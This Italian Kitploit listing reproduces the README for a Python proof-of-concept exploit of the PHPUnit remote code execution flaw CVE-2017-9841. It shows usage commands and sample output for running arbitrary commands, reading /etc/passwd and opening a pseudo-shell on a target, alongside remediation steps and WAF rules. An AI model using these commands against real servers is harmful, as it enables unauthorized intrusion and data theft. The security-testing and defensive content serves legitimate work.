Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 è una vulnerabilità di Esecuzione Remota di Codice (RCE) nella libreria PHPUnit che interessa le versioni precedenti alla 5.6.3 e le versioni 6.x precedenti alla 6.4.2. | Kitploit
Strumenti/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 è una vulnerabilità di Esecuzione Remota di Codice (RCE) nella libreria PHPUnit che interessa le versioni precedenti alla 5.6.3 e le versioni 6.x precedenti alla 6.4.2.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
2 mesi faNon ancora revisionato

CVE-2017-9841 — PoC per Esecuzione di Codice Remota (RCE) in PHPUnit

⚠️ AVVERTENZA: Questo strumento è inteso esclusivamente per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si è proprietari o per cui non si ha esplicita autorizzazione è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento.


Panoramica

CVE-2017-9841 è una vulnerabilità di Esecuzione di Codice Remota (RCE) nella libreria PHPUnit che interessa le versioni precedenti la 5.6.3 e le versioni 6.x precedenti la 6.4.2.

La vulnerabilità risiede in src/Util/PHP/eval-stdin.php, che esegue codice PHP ricevuto tramite php://input (corpo POST) utilizzando la funzione eval(). Se questo file è accessibile pubblicamente (ad esempio in una directory vendor/ non protetta), un attaccante può eseguire codice PHP arbitrario sul server senza autenticazione.

Dettagli della Vulnerabilità

Codice Vulnerabile

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Questo file accetta codice PHP dal corpo POST e lo esegue immediatamente tramite eval() senza alcuna autenticazione o validazione.


Installazione

Requisiti

  • Python 3.6+
  • Libreria requests
root@kitploit:~
pip install requests

Configurazione

root@kitploit:~
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Utilizzo

Sintassi di Base

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [options]

Il flag -u accetta sia un URL base (aggiunge automaticamente il percorso vulnerabile) sia un URL completo che punta direttamente a eval-stdin.php.

1. Controllo della Vulnerabilità (Nessuna Esecuzione di Comandi)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Output:

root@kitploit:~
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. Esecuzione di Comandi

root@kitploit:~
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. Informazioni sul Server (Sola Lettura)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Output:

root@kitploit:~
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. Pseudo-Shell Interattivo

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Output:

root@kitploit:~
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. Ricerca Automatica del Percorso Vulnerabile

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Percorso Personalizzato

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. URL Completo per eval-stdin.php

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Esecuzione di Codice PHP Grezzo

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Riferimento Opzioni


Rimedio

Azioni Immediate (Fallo ORA)

1. Elimina il File Vulnerabile

root@kitploit:~
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Blocca l'Accesso alla Directory Vendor

Aggiungi un file .htaccess dentro la directory vendor/:

root@kitploit:~
# /path/to/project/vendor/.htaccess
Deny from all

Oppure configuralo nel tuo VirtualHost Apache:

root@kitploit:~
<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

Per Nginx:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. Rimuovi le Dipendenze di Sviluppo dalla Produzione

root@kitploit:~
cd /path/to/project
composer install --no-dev --optimize-autoloader

Rafforzamento a Breve Termine

4. Abilita disable_functions in php.ini

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. Abilita open_basedir

root@kitploit:~
; /etc/php/8.4/fpm/php.ini o in VirtualHost
open_basedir = /var/www/html/project:/tmp

6. Riduci max_execution_time

root@kitploit:~
max_execution_time = 30

7. Riavvia PHP-FPM

root@kitploit:~
sudo systemctl restart php8.4-fpm
# oppure
sudo systemctl restart php-fpm

Rafforzamento a Lungo Termine

8. Aggiorna PHPUnit

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. Implementa Regole WAF

Esempio ModSecurity:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. Rafforzamento della Pipeline CI/CD

root@kitploit:~
# Example: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Diagramma del Flusso dell'Attacco

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Attacker            │
                    └──────────────┬───────────────┘
                                   │ POST (PHP code)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Apache Server                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Arbitrary Code Execution                   │  │
│  │                                                       │  │
│  │  - Read/Write files on the server                     │  │
│  │  - Access database credentials                        │  │
│  │  - Lateral movement to internal network               │  │
│  │  - Install backdoors / webshells                      │  │
│  │  - Privilege escalation                               │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Fattori Aggravanti

Le seguenti condizioni aumentano significativamente la gravità e la sfruttabilità di questa vulnerabilità:


Riferimenti

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

Licenza

Questo strumento è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati.

Scarica lo strumento
CampoValore
ID CVECVE-2017-9841
Punteggio CVSS9.8 (Critico)
InteressatePHPUnit < 5.6.3, 6.x < 6.4.2
TipoEsecuzione di Codice Remota (RCE)
AutenticazioneNon richiesta
VettoreRete (remoto)
Pubblicato27 giugno 2017
RiferimentoNVD
FlagDescrizione
-u, --url URLURL base di destinazione o URL completo per eval-stdin.php
-c, --cmd CMDComando CLI da eseguire sul server di destinazione
--checkVerifica se il target è vulnerabile senza eseguire comandi
--shellApre una pseudo-shell interattiva
--infoRaccoglie informazioni sul server (sola lettura)
--find-pathScansiona i percorsi comuni per localizzare eval-stdin.php
--path PATHSpecifica un percorso personalizzato per eval-stdin.php
--timeout NTimeout della richiesta in secondi (predefinito: 30)
-o, --output FILESalva l'output del comando in un file
--php CODEEsegue codice PHP grezzo invece di comandi di sistema
FattoreImpatto
disable_functions è vuotoTutte le funzioni PHP sono disponibili (system, exec, ecc.)
open_basedir non è impostatoL'attaccante può leggere/scrivere file su tutto il filesystem
max_execution_time elevatoL'attaccante ha più tempo per richiesta per payload complessi
Estensione FFI caricataConsente chiamate dirette a funzioni C, bypassando le restrizioni PHP
Estensioni database caricateConnessioni dirette al database possibili (mysqli, pgsql, ecc.)
Nessun WAF implementatoNessun filtraggio o blocco delle richieste
Nessun IDS/IPS in attoNessun rilevamento di anomalie o alert
Dipendenze di sviluppo in produzioneEspande inutilmente la superficie d'attacco